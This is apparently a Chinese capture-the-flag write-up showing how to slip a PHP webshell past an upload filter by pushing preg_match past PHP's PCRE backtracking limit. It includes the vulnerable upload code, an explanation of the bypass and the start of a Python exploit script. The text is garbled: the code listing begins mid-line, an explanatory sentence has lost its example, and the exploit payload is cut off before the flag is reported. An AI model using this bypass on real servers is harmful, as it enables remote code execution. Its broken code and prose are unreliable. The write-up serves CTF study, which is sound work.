利用正则回溯最大次数上限进行绕过

  1. 源码:

     ].*/is', $data);
     }
     
     if(empty($_FILES)) {
         die(show_source(__FILE__));
     }
     
     $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
     $data = file_get_contents($_FILES['file']['tmp_name']);
     if (is_php($data)) {
         echo "bad request";
     } else {
         @mkdir($user_dir, 0755);
         $path = $user_dir . '/' . random_int(0, 10) . '.php';
         move_uploaded_file($_FILES['file']['tmp_name'], $path);
     
         header("Location: $path", true, 303);
     }
    

    通过对源码分析,可知要求上传文件,且文件内容要通过正则且能RCE

  2. 正则:/<\?.*[(`;?>].*/is

    指匹配开头的中间出现[(`;?>]任一字符的不区分大小写的,无视换行符的字符串。即针对等语句。

  3. 如何绕过正则且能RCE呢?
    Rerference: PHP利用PCRE回溯次数限制绕过某些安全限制

    PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限。回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?preg_match 返回的非 1 和 0,而是 false。

    故构建RCE脚本:

     import requests
     from io import BytesIO
     
     url = "http://ip:port/"
     
     files = {
         'file' : BytesIO(b'

    得到flag{216728a834fb4c1e0bc6893e135f436e}

你可能感兴趣的:(ctfweb,php)